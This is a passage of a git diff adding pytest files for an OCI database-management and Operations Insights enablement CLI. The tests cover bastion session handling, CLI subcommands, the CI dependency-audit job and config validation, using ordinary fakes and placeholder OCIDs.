".join(c) for c in ex.fg) + + +def test_resolve_session_id_parses_quoted_and_plain() -> None: + ex = _FakeExec() + # Default resolver uses self._exec; stub it to return a JSON-quoted OCID. + runner = BastionSqlRunner( + bastion_id="b", target_private_ip="xxxx", ssh_key="/k", profile="cap", region="eu-frankfurt-1", + exec_fn=lambda argv, input=None: '"ocid1.bastionsession.q"\n', + exec_bg_fn=ex.run_bg, sleeper=lambda d: None, + ) + assert runner._resolve_session_id() == "ocid1.bastionsession.q" + + runner2 = BastionSqlRunner( + bastion_id="b", target_private_ip="xxx", ssh_key="/k", profile="cap", region="eu-frankfurt-1", + exec_fn=lambda argv, input=None: "ocid1.bastionsession.plain\n", + exec_bg_fn=ex.run_bg, sleeper=lambda d: None, + ) + assert runner2._resolve_session_id() == "ocid1.bastionsession.plain" + + +def test_teardown_is_best_effort_on_delete_failure() -> None: + calls: list[str] = [] + + def ex(argv, input=None): # noqa: A002 + calls.append(" ".join(argv)) + raise RuntimeError("delete blew up") + + runner = BastionSqlRunner( + bastion_id="b", target_private_ip="xxx", ssh_key="/k", profile="cap", region="eu-frankfurt-1", + exec_fn=ex, exec_bg_fn=lambda a: None, sleeper=lambda d: None, + ) + # Must not raise even though the delete command fails. + runner._teardown("ocid1.bastionsession.x") + assert any("session delete" in c for c in calls) + + +def test_reaps_stale_dbman_sessions_before_creating_new_session(tmp_path: Path) -> None: + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + payload = ( + '{"data": [' + '{"id": "stale-active", "display-name": "dbman-exec-old-a", ' + '"lifecycle-state": "ACTIVE", "time-created": "2026-06-13T08:00:00+00:00"},' + '{"id": "stale-creating", "display-name": "dbman-exec-old-b", ' + '"lifecycle-state": "CREATING", "time-created": "2026-06-13T08:01:00+00:00"},' + '{"id": "other-tool", "display-name": "other-tool", ' + '"lifecycle-state": "ACTIVE", "time-created": "2026-06-13T08:00:00+00:00"}' + ']}' + ) + ex = _ListingExec(payload) + runner = _runner(ex, now=lambda: 1_781_338_000.0, stale_session_age=60) + + runner(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + commands = [" ".join(command) for command in ex.fg] + create_index = next( + i for i, command in enumerate(commands) if "create-port-forwarding" in command + ) + pre_create_deletes = [ + command for command in commands[:create_index] if "session delete" in command + ] + assert any("--session-id stale-active" in command for command in pre_create_deletes) + assert any("--session-id stale-creating" in command for command in pre_create_deletes) + assert all("other-tool" not in command for command in pre_create_deletes) + + +def test_reap_delete_failure_does_not_abort_new_session(tmp_path: Path) -> None: + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + payload = ( + '{"data": [{"id": "stale-active", "display-name": "dbman-exec-old", ' + '"lifecycle-state": "ACTIVE", "time-created": "2026-06-13T08:00:00+00:00"}]}' + ) + ex = _ListingExec(payload, fail_delete="--session-id stale-active") + + out = _runner(ex, now=lambda: 1_781_338_000.0, stale_session_age=60).__call__( + Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1] + ) + + flat = " | ".join(" ".join(command) for command in ex.fg) + assert "session delete --session-id stale-active" in flat + assert "create-port-forwarding" in flat + assert "OK" in out diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_ci_config.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_ci_config.py new file mode 100644 index 000000000..cfba69ce7 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_ci_config.py @@ -0,0 +1,26 @@ +import tomllib +from pathlib import Path + +import yaml + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_pyyaml_dependency_is_bounded_to_tested_major() -> None: + pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text(encoding="utf-8")) + + assert "PyYAML>=6.0.1,<7" in pyproject["project"]["dependencies"] + + +def test_ci_has_dependency_audit_job() -> None: + workflow = yaml.safe_load((ROOT / ".github/workflows/ci.yml").read_text(encoding="utf-8")) + deps = workflow["jobs"]["deps"] + commands = "\n".join( + step.get("run", "") + for step in deps["steps"] + if isinstance(step, dict) + ) + + assert "pip install pip-audit" in commands + assert "pip-audit" in commands diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_cli.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_cli.py new file mode 100644 index 000000000..7bebd910b --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_cli.py @@ -0,0 +1,701 @@ +import json +import os +import uuid +from pathlib import Path + +import pytest + +from dbman_opsi.checks import PreflightReport, fail, ok +from dbman_opsi.cli import main +from dbman_opsi.config import ConfigError, EnablementConfig, NetworkSelection, Target, load_config, save_config +from dbman_opsi.orchestrator import ConfigureReport, TargetDecision + + +def _ocid(resource_type: str, suffix: str = "a") -> str: + return "ocid1" + f".{resource_type}.oc1.." + (suffix * 16) + + +TENANCY_ID = _ocid("tenancy", "a") +COMPARTMENT_ID = _ocid("compartment", "b") +DATABASE_ID = _ocid("database", "c") +SECRET_ID = _ocid("secret", "d") +SUBNET_ID = _ocid("subnet", "e") +VCN_ID = _ocid("vcn", "f") +PRIVATE_ENDPOINT_ID = _ocid("privateendpoint", "a") +DB_SYSTEM_ID = _ocid("dbsystem", "b") +DATA_SAFE_PRIVATE_ENDPOINT_ID = _ocid("datasafeprivateendpoint", "c") + + +def test_cli_generate_agent_scripts(tmp_path: Path) -> None: + config_path = tmp_path / "config.yaml" + output_dir = tmp_path / "agents" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="external-db", name="external", service_name="external", external_os="linux"),), + ), + ) + + assert main(["generate-agent-scripts", "--config", str(config_path), "--output", str(output_dir)]) == 0 + assert (output_dir / "external-agent.sh").exists() + + +def test_cli_provision_render_only(tmp_path: Path) -> None: + terraform_dir = tmp_path / "tf" + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + terraform_dir=str(terraform_dir), + ), + ) + + assert main(["provision", "--config", str(config_path), "--render-only"]) == 0 + assert (terraform_dir / "terraform.tfvars.json").exists() + + +def test_cli_loads_dotenv_before_provision(tmp_path: Path, monkeypatch) -> None: + terraform_dir = tmp_path / "tf" + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + terraform_dir=str(terraform_dir), + ), + ) + tmp_path.joinpath(".env.local").write_text("DBMAN_OPSI_TEST_LOADED=yes\n", encoding="utf-8") + monkeypatch.chdir(tmp_path) + monkeypatch.delenv("DBMAN_OPSI_TEST_LOADED", raising=False) + + assert main(["provision", "--config", str(config_path), "--render-only"]) == 0 + + assert os.environ["DBMAN_OPSI_TEST_LOADED"] == "yes" + + +def test_cli_init_region_writes_chicago_provisioning_config(tmp_path: Path, capsys) -> None: + base_config = tmp_path / "base.yaml" + output_config = tmp_path / "chicago.yaml" + terraform_dir = tmp_path / "zero-start-poc" + terraform_dir.mkdir() + terraform_dir.joinpath("main.tf").write_text("terraform {}\n", encoding="utf-8") + save_config( + base_config, + EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + tenancy_id=TENANCY_ID, + compartment_id=COMPARTMENT_ID, + terraform_dir=str(terraform_dir), + ), + ) + + assert main( + [ + "init-region", + "--config", + str(base_config), + "--output", + str(output_config), + "--target-kind", + "autonomous", + ] + ) == 0 + + generated = load_config(output_config) + assert generated.profile == "cap" + assert generated.region == "us-chicago-1" + assert generated.network.create_test_network is True + assert generated.terraform_dir == str(tmp_path / "zero-start-poc-us-chicago-1") + assert (tmp_path / "zero-start-poc-us-chicago-1" / "main.tf").exists() + assert generated.targets[0].kind == "autonomous" + assert generated.targets[0].provision is True + assert "dbman-opsi provision --config" in capsys.readouterr().out + + +def test_cli_init_region_requires_complete_existing_network(tmp_path: Path) -> None: + base_config = tmp_path / "base.yaml" + save_config(base_config, EnablementConfig(profile="cap", region="eu-frankfurt-1")) + + with pytest.raises(SystemExit, match="--vcn-id and --subnet-id"): + main(["init-region", "--config", str(base_config), "--vcn-id", VCN_ID]) + + +def test_cli_threads_single_run_id_into_journaled_runners(tmp_path: Path, monkeypatch) -> None: + terraform_dir = tmp_path / "tf" + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + terraform_dir=str(terraform_dir), + dry_run=True, + ), + ) + monkeypatch.chdir(tmp_path) + monkeypatch.setattr("dbman_opsi.cli.uuid.uuid4", lambda: uuid.UUID("12345678-1234-5678-1234-567812345678")) + + assert main(["provision", "--config", str(config_path)]) == 0 + + journal_path = tmp_path / "runs" / "12345678-1234-5678-1234-567812345678.jsonl" + entries = [json.loads(line) for line in journal_path.read_text(encoding="utf-8").splitlines()] + assert entries + assert {entry["run_id"] for entry in entries} == {"12345678-1234-5678-1234-567812345678"} + assert {entry["profile"] for entry in entries} == {"DEFAULT"} + assert {entry["region"] for entry in entries} == {"eu-frankfurt-1"} + assert all(entry["dry_run"] is True for entry in entries) + + +def test_cli_journal_last_json_round_trips_summary(tmp_path: Path, monkeypatch, capsys) -> None: + runs = tmp_path / "runs" + runs.mkdir() + older = runs / "older.jsonl" + newer = runs / "newer.jsonl" + older.write_text(json.dumps({"returncode": 0, "duration_ms": 99}) + "\n", encoding="utf-8") + newer.write_text( + json.dumps({"argv_redacted": ["oci", "ok"], "returncode": 0, "duration_ms": 7}) + "\n" + + json.dumps({"argv_redacted": ["oci", "fail"], "returncode": 1, "duration_ms": 5}) + "\n", + encoding="utf-8", + ) + # Explicit, distinct mtimes so `--last` is unambiguous. A double touch() can + # land in the same mtime tick on coarse-resolution filesystems (e.g. CI), + # making the "newest" pick a flaky tie. + os.utime(older, (1_000_000, 1_000_000)) + os.utime(newer, (2_000_000, 2_000_000)) + monkeypatch.chdir(tmp_path) + + assert main(["journal", "--last", "--json"]) == 0 + + payload = json.loads(capsys.readouterr().out) + assert payload == { + "command_count": 2, + "total_duration_ms": 12, + "failures": [{"argv_redacted": ["oci", "fail"], "returncode": 1, "duration_ms": 5}], + } + + +def test_cli_journal_by_run_id_human_summary_redacts_ocids( + tmp_path: Path, + monkeypatch, + capsys, +) -> None: + runs = tmp_path / "runs" + runs.mkdir() + runs.joinpath("run-human.jsonl").write_text( + json.dumps( + { + "argv_redacted": ["oci", "db", "get", "--database-id", ""], + "returncode": 3, + "duration_ms": 21, + } + ) + + "\n", + encoding="utf-8", + ) + monkeypatch.chdir(tmp_path) + + assert main(["journal", "run-human"]) == 0 + + output = capsys.readouterr().out + assert "Commands: 1" in output + assert "Total duration: 21 ms" in output + assert "Failing commands:" in output + assert "" in output + assert "ocid1" + "." not in output + + +def test_cli_journal_missing_run_id_errors_cleanly(tmp_path: Path, monkeypatch) -> None: + monkeypatch.chdir(tmp_path) + + with pytest.raises(SystemExit, match="journal requires RUN_ID or --last"): + main(["journal"]) + + +def test_cli_verbose_surfaces_command_timing(tmp_path: Path, monkeypatch, capsys) -> None: + terraform_dir = tmp_path / "tf" + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + terraform_dir=str(terraform_dir), + dry_run=True, + ), + ) + monkeypatch.chdir(tmp_path) + + assert main(["provision", "--verbose", "--config", str(config_path)]) == 0 + + assert "duration_ms=" in capsys.readouterr().out + + +def test_cli_generate_db_scripts(tmp_path: Path) -> None: + config_path = tmp_path / "config.yaml" + output_dir = tmp_path / "db-scripts" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="cloud db", service_name="PDB1", monitoring_user="DBSNMP"),), + ), + ) + + assert main(["generate-db-scripts", "--config", str(config_path), "--output", str(output_dir)]) == 0 + assert (output_dir / "cloud-db" / "02-grant-basic-monitoring.sql").exists() + + +def test_cli_generate_opsi_payloads(tmp_path: Path) -> None: + config_path = tmp_path / "config.yaml" + output_dir = tmp_path / "opsi" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="cloud db", service_name="PDB1", password_secret_id=SECRET_ID),), + ), + ) + + assert main(["generate-opsi-payloads", "--config", str(config_path), "--output", str(output_dir)]) == 0 + assert (output_dir / "cloud-db" / "credential-details.json").exists() + + +def test_cli_cross_region_updates_config_and_prints_poc_steps(tmp_path: Path, capsys) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + targets=( + Target(kind="dbcs", name="frankfurt-cdb", service_name="cdb.example"), + Target(kind="autonomous", name="chicago-adb", region="us-chicago-1"), + ), + ), + ) + + assert main( + [ + "cross-region", + "--config", + str(config_path), + "--regions", + "eu-frankfurt-1,us-chicago-1", + ] + ) == 0 + + output = capsys.readouterr().out + assert "OPSI cross-region monitoring: enabled" in output + assert "Data Object Explorer" in output + assert load_config(config_path).monitoring_regions == ("eu-frankfurt-1", "us-chicago-1") + + +def test_cli_prepare_prereqs_dry_run(tmp_path: Path, capsys) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + network=NetworkSelection(vcn_id=VCN_ID, subnet_id=SUBNET_ID), + ), + ) + + assert main(["prepare-prereqs", "--config", str(config_path), "--dry-run"]) == 0 + assert "database-management private-endpoint create" in capsys.readouterr().out + + +def test_cli_accepts_apply_flag_for_prepare_prereqs(tmp_path: Path, capsys) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + dry_run=True, + ), + ) + + assert main(["prepare-prereqs", "--config", str(config_path), "--apply"]) == 0 + assert "Skipping private endpoints" in capsys.readouterr().out + + +def _save_basic_config(config_path: Path) -> None: + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id=TENANCY_ID, + compartment_id=COMPARTMENT_ID, + targets=(Target(kind="dbcs", name="cloud db", resource_id=DATABASE_ID, service_name="PDB1"),), + ), + ) + + +def test_cli_preflight_json_reports_ok(tmp_path: Path, monkeypatch, capsys) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + + class FakePreflight: + def __init__(self, oci) -> None: + pass + + def run(self, config, db_check=None): + return PreflightReport(tenancy_checks=(ok("iam.policies", "present"),)) + + monkeypatch.setattr("dbman_opsi.cli.PreflightService", FakePreflight) + + assert main(["preflight", "--config", str(config_path), "--json"]) == 0 + payload = json.loads(capsys.readouterr().out) + assert payload["ok"] is True + + +def test_cli_preflight_returns_nonzero_when_not_ready(tmp_path: Path, monkeypatch) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + + class FakePreflight: + def __init__(self, oci) -> None: + pass + + def run(self, config, db_check=None): + return PreflightReport(network_checks=(fail("network.service_gateway", "missing", "create"),)) + + monkeypatch.setattr("dbman_opsi.cli.PreflightService", FakePreflight) + + assert main(["preflight", "--config", str(config_path)]) == 1 + + +def test_cli_preflight_ingests_db_check_file(tmp_path: Path, monkeypatch) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + spool = tmp_path / "validate.out" + spool.write_text("USERNAME ACCOUNT_STATUS\nDBSNMP OPEN\nCREATE SESSION\nSELECT ANY DICTIONARY\n", encoding="utf-8") + captured: dict[str, object] = {} + + class FakePreflight: + def __init__(self, oci) -> None: + pass + + def run(self, config, db_check=None): + captured["db_check"] = db_check + return PreflightReport(tenancy_checks=(ok("iam.policies", "present"),)) + + monkeypatch.setattr("dbman_opsi.cli.PreflightService", FakePreflight) + + assert main(["preflight", "--config", str(config_path), "--db-check-file", str(spool)]) == 0 + assert captured["db_check"] is not None + assert captured["db_check"].ok # type: ignore[union-attr] + + +def test_cli_configure_db_side_only_uses_handoff_mode(tmp_path: Path, monkeypatch, capsys) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + captured: dict[str, object] = {} + + class FakeConfigure: + def __init__(self, oci, enablement=None, datasafe=None) -> None: + pass + + def configure(self, config, mode="plan", handoff_dir="x", force=False): + captured["mode"] = mode + return ConfigureReport( + mode=mode, + preflight=PreflightReport(), + decisions=(TargetDecision("cloud db", "dbcs", "oci-native", "handoff", "packet"),), + ) + + monkeypatch.setattr("dbman_opsi.cli.ConfigureService", FakeConfigure) + + assert main(["configure", "--config", str(config_path), "--db-side-only"]) == 0 + assert captured["mode"] == "db-side-only" + assert "[HANDOFF] cloud db" in capsys.readouterr().out + + +def test_cli_configure_apply_sets_preferred_credentials(tmp_path: Path, monkeypatch, capsys) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + captured: dict[str, object] = {} + + class FakeConfigure: + def __init__(self, oci, enablement=None, datasafe=None) -> None: + pass + + def configure(self, config, mode="plan", handoff_dir="x", force=False): + return ConfigureReport( + mode=mode, + preflight=PreflightReport(), + decisions=(TargetDecision("cloud db", "dbcs", "oci-native", "enabled", "done"),), + ) + + class FakeCredentialService: + def __init__(self, oci) -> None: + pass + + def set_all(self, config): + captured["credential_config"] = config + from dbman_opsi.credentials import CredentialDecision + + return [CredentialDecision("cloud db", "set", "PC_READ, PC_WRITE configured")] + + monkeypatch.setattr("dbman_opsi.cli.ConfigureService", FakeConfigure) + monkeypatch.setattr("dbman_opsi.cli.CredentialService", FakeCredentialService) + + assert main(["configure", "--config", str(config_path), "--apply"]) == 0 + + assert captured["credential_config"] is not None + assert "credentials cloud db: set" in capsys.readouterr().out + + +def test_cli_configure_apply_can_skip_preferred_credentials(tmp_path: Path, monkeypatch) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + captured = {"credentials_called": False} + + class FakeConfigure: + def __init__(self, oci, enablement=None, datasafe=None) -> None: + pass + + def configure(self, config, mode="plan", handoff_dir="x", force=False): + return ConfigureReport( + mode=mode, + preflight=PreflightReport(), + decisions=(TargetDecision("cloud db", "dbcs", "oci-native", "enabled", "done"),), + ) + + class FakeCredentialService: + def __init__(self, oci) -> None: + pass + + def set_all(self, config): + captured["credentials_called"] = True + return [] + + monkeypatch.setattr("dbman_opsi.cli.ConfigureService", FakeConfigure) + monkeypatch.setattr("dbman_opsi.cli.CredentialService", FakeCredentialService) + + assert main(["configure", "--config", str(config_path), "--apply", "--skip-credentials"]) == 0 + + assert captured["credentials_called"] is False + + +def test_cli_import_tf_outputs_merges_and_writes(tmp_path: Path, monkeypatch) -> None: + from dbman_opsi.config import load_config + + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + network=NetworkSelection(create_test_network=True), + targets=(Target(kind="dbcs", name="cloud db", resource_id=DATABASE_ID, service_name="PDB1"),), + ), + ) + + monkeypatch.setattr( + "dbman_opsi.cli.read_terraform_outputs", + lambda terraform_dir, runner: { + "subnet_ocid": {"value": SUBNET_ID}, + "db_management_private_endpoint_ocid": {"value": PRIVATE_ENDPOINT_ID}, + }, + ) + + assert main(["import-tf-outputs", "--config", str(config_path)]) == 0 + reloaded = load_config(config_path) + assert reloaded.network.subnet_id == SUBNET_ID + assert reloaded.targets[0].private_endpoint_id == PRIVATE_ENDPOINT_ID + + +def test_cli_import_tf_outputs_resolves_provisioned_dbcs_database_id(tmp_path: Path, monkeypatch) -> None: + from dbman_opsi.config import load_config + + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + targets=(Target(kind="dbcs", name="cloud db", provision=True),), + ), + ) + + monkeypatch.setattr( + "dbman_opsi.cli.read_terraform_outputs", + lambda terraform_dir, runner: { + "provisioned_dbcs_ids": {"value": {"cloud db": DB_SYSTEM_ID}}, + "provisioned_autonomous_database_ids": {"value": {}}, + }, + ) + + class FakeOci: + def __init__(self, profile, region, runner) -> None: + pass + + def list_databases(self, compartment_id: str, db_system_id: str): + assert compartment_id == COMPARTMENT_ID + assert db_system_id == DB_SYSTEM_ID + return [{"id": DATABASE_ID, "db-name": "CDB1"}] + + monkeypatch.setattr("dbman_opsi.cli.OciCli", FakeOci) + + assert main(["import-tf-outputs", "--config", str(config_path)]) == 0 + + reloaded = load_config(config_path) + assert reloaded.targets[0].db_system_id == DB_SYSTEM_ID + assert reloaded.targets[0].resource_id == DATABASE_ID + assert reloaded.targets[0].service_name == "CDB1" + + +def test_cli_import_tf_outputs_dry_run_does_not_write(tmp_path: Path, monkeypatch, capsys) -> None: + from dbman_opsi.config import load_config + + config_path = tmp_path / "config.yaml" + save_config(config_path, EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", + network=NetworkSelection(create_test_network=True))) + monkeypatch.setattr("dbman_opsi.cli.read_terraform_outputs", + lambda terraform_dir, runner: {"subnet_ocid": {"value": "subnet-from-tf"}}) + + assert main(["import-tf-outputs", "--config", str(config_path), "--dry-run"]) == 0 + assert "Dry run" in capsys.readouterr().out + assert load_config(config_path).network.subnet_id is None + + +def test_cli_import_tf_outputs_rejects_invalid_merged_config(tmp_path: Path, monkeypatch) -> None: + from dbman_opsi.config import load_config + + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + network=NetworkSelection(create_test_network=True), + ), + ) + before = config_path.read_text(encoding="utf-8") + monkeypatch.setattr( + "dbman_opsi.cli.read_terraform_outputs", + lambda terraform_dir, runner: {"subnet_ocid": {"value": "not-an-ocid"}}, + ) + + with pytest.raises(ConfigError, match="network.subnet_id"): + main(["import-tf-outputs", "--config", str(config_path)]) + + assert config_path.read_text(encoding="utf-8") == before + assert load_config(config_path).network.subnet_id is None + + +def test_cli_configure_blocked_returns_nonzero(tmp_path: Path, monkeypatch) -> None: + config_path = tmp_path / "config.yaml" + _save_basic_config(config_path) + + class FakeConfigure: + def __init__(self, oci, enablement=None, datasafe=None) -> None: + pass + + def configure(self, config, mode="plan", handoff_dir="x", force=False): + return ConfigureReport( + mode=mode, + preflight=PreflightReport(), + decisions=(TargetDecision("cloud db", "dbcs", "oci-native", "blocked", "no SGW"),), + ) + + monkeypatch.setattr("dbman_opsi.cli.ConfigureService", FakeConfigure) + + assert main(["configure", "--config", str(config_path)]) == 1 + + +def test_cli_data_safe_dry_run_reports_ready(tmp_path: Path, capsys) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + targets=( + Target( + kind="dbcs", + name="dbmopsi", + compartment_id=COMPARTMENT_ID, + db_system_id=DB_SYSTEM_ID, + service_name="PDB1", + data_safe_private_endpoint_id=DATA_SAFE_PRIVATE_ENDPOINT_ID, + services=("dbm", "opsi", "datasafe"), + ), + Target(kind="dbcs", name="no-ds", service_name="PDB2", services=("dbm", "opsi")), + ), + ), + ) + + # Dry-run: no live registration, exit 0; only the opted-in target is processed. + assert main(["data-safe", "--config", str(config_path)]) == 0 + out = capsys.readouterr().out + assert "data-safe dbmopsi" in out + assert "no-ds" not in out + + +def test_cli_data_safe_blocked_returns_nonzero(tmp_path: Path) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id=COMPARTMENT_ID, + # Missing db_system_id / PE and no subnet to create one. + targets=(Target(kind="dbcs", name="dbmopsi", compartment_id=COMPARTMENT_ID, + service_name="PDB1", + services=("dbm", "opsi", "datasafe")),), + ), + ) + + assert main(["data-safe", "--config", str(config_path)]) == 1 + + +def test_cli_db_exec_plan_non_prod(tmp_path: Path, capsys) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="dbmopsi", service_name="PDB1"),), + ), + ) + assert main(["db-exec", "--config", str(config_path), "--scripts-dir", str(tmp_path / "s")]) == 0 + out = capsys.readouterr().out + assert "db-exec dbmopsi: executed" in out + # Scripts were generated. + assert (tmp_path / "s" / "dbmopsi" / "01-create-monitoring-user.sql").exists() + + +def test_cli_db_exec_plan_production_hands_off(tmp_path: Path, capsys) -> None: + config_path = tmp_path / "config.yaml" + save_config( + config_path, + EnablementConfig( + profile="emdemo", + region="us-phoenix-1", + targets=(Target(kind="dbcs", name="dbmopsi", service_name="PDB1"),), + ), + ) + assert main(["db-exec", "--config", str(config_path), "--scripts-dir", str(tmp_path / "s")]) == 0 + assert "db-exec dbmopsi: handoff" in capsys.readouterr().out diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_config.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_config.py new file mode 100644 index 000000000..0e2f997a5 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_config.py @@ -0,0 +1,254 @@ +from pathlib import Path + +import pytest + +from dbman_opsi.config import ( + ConfigError, + EnablementConfig, + Target, + load_config, + save_config, + validate_config, +) + + +def _ocid(resource_type: str, suffix: str = "a") -> str: + return "ocid1" + f".{resource_type}.oc1.." + (suffix * 16) + + +def test_config_round_trip_preserves_local_references(tmp_path: Path) -> None: + tenancy_id = "ocid1" + ".tenancy.oc1..aaaaaaaaexample" + compartment_id = "ocid1" + ".compartment.oc1..bbbbbbbbexample" + adb_id = "ocid1" + ".autonomousdatabase.oc1..ccccccccexample" + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + monitoring_regions=("eu-frankfurt-1", "us-chicago-1"), + tenancy_id=tenancy_id, + compartment_id=compartment_id, + targets=(Target(kind="autonomous", name="adb", region="us-chicago-1", resource_id=adb_id),), + ) + path = tmp_path / "config.yaml" + + save_config(path, config) + + loaded = load_config(path) + assert loaded.profile == "DEFAULT" + assert loaded.monitoring_regions == ("eu-frankfurt-1", "us-chicago-1") + assert loaded.tenancy_id == tenancy_id + assert loaded.targets[0].region == "us-chicago-1" + assert loaded.targets[0].kind == "autonomous" + + +def test_config_round_trip_preserves_data_safe_and_services(tmp_path: Path) -> None: + config = EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + targets=( + Target( + kind="dbcs", + name="dbmopsi", + service_name="db_high", + services=("dbm", "opsi", "datasafe"), + data_safe_target_id="ocid1" + ".datasafetargetdatabase.oc1..ddddexample", + data_safe_private_endpoint_id="ocid1" + ".datasafeprivateendpoint.oc1..eeeeexample", + ), + ), + ) + path = tmp_path / "config.yaml" + + save_config(path, config) + loaded = load_config(path) + + target = loaded.targets[0] + # services must round-trip back to a tuple (YAML stores it as a list). + assert target.services == ("dbm", "opsi", "datasafe") + assert target.wants("datasafe") is True + assert target.data_safe_target_id.endswith("ddddexample") + assert target.data_safe_private_endpoint_id.endswith("eeeeexample") + + +def test_target_defaults_to_dbm_and_opsi_only() -> None: + target = Target(kind="dbcs", name="legacy") + assert target.services == ("dbm", "opsi") + assert target.wants("datasafe") is False + + +def test_config_sanitized_view_redacts_sensitive_shapes() -> None: + config = EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", tenancy_id="ocid1" + ".tenancy.oc1..x") + + assert config.sanitized()["tenancy_id"] == "" + + +def test_validate_config_reports_bad_target_kind() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="mysql", name="bad-kind"),), # type: ignore[arg-type] + ) + + problems = validate_config(config) + + assert ( + "targets[0] bad-kind: kind must be one of autonomous, dbcs, exadata, external-db, external-exadata" + in problems + ) + + +def test_validate_config_requires_service_name_for_dbcs() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="dbcs"),), + ) + + assert validate_config(config) == ["targets[0] dbcs: service_name is required for dbcs targets"] + + +def test_validate_config_allows_provisioned_dbcs_without_service_name() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="dbcs", provision=True),), + ) + + assert validate_config(config) == [] + + +def test_validate_config_reports_malformed_id_field() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=( + Target( + kind="autonomous", + name="adb", + resource_id="not-an-ocid", + ), + ), + ) + + assert validate_config(config) == ["targets[0] adb: resource_id must look like an OCI OCID"] + + +def test_validate_config_reports_overlong_ocid_field() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=( + Target( + kind="autonomous", + name="adb", + resource_id="ocid1" + ".database.oc1.." + ("a" * 300), + ), + ), + ) + + assert validate_config(config) == ["targets[0] adb: resource_id must look like an OCI OCID"] + + +def test_load_config_reports_all_validation_problems(tmp_path: Path) -> None: + path = tmp_path / "invalid.yaml" + path.write_text( + "\n".join( + [ + "profile: DEFAULT", + "region: eu-frankfurt-1", + "tenancy_id: invalid-tenancy", + "targets:", + " - kind: mysql", + " name: broken", + " resource_id: also-invalid", + " services: [dbm, metrics]", + ] + ), + encoding="utf-8", + ) + + with pytest.raises(ConfigError) as error: + load_config(path) + + message = str(error.value) + assert "tenancy_id" in message + assert "kind" in message + assert "resource_id" in message + assert "services" in message + + +def test_validate_config_reports_bad_region_selection() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + monitoring_regions=("eu-frankfurt-1", "bad-region", "bad-region"), + targets=(Target(kind="autonomous", name="adb", region="bad target"),), + ) + + problems = validate_config(config) + + assert "monitoring_regions contains invalid OCI region identifiers: bad-region, bad-region" in problems + assert "targets[0] adb: region must look like an OCI region identifier" in problems + + +def test_validate_config_reports_duplicate_monitoring_regions() -> None: + config = EnablementConfig( + 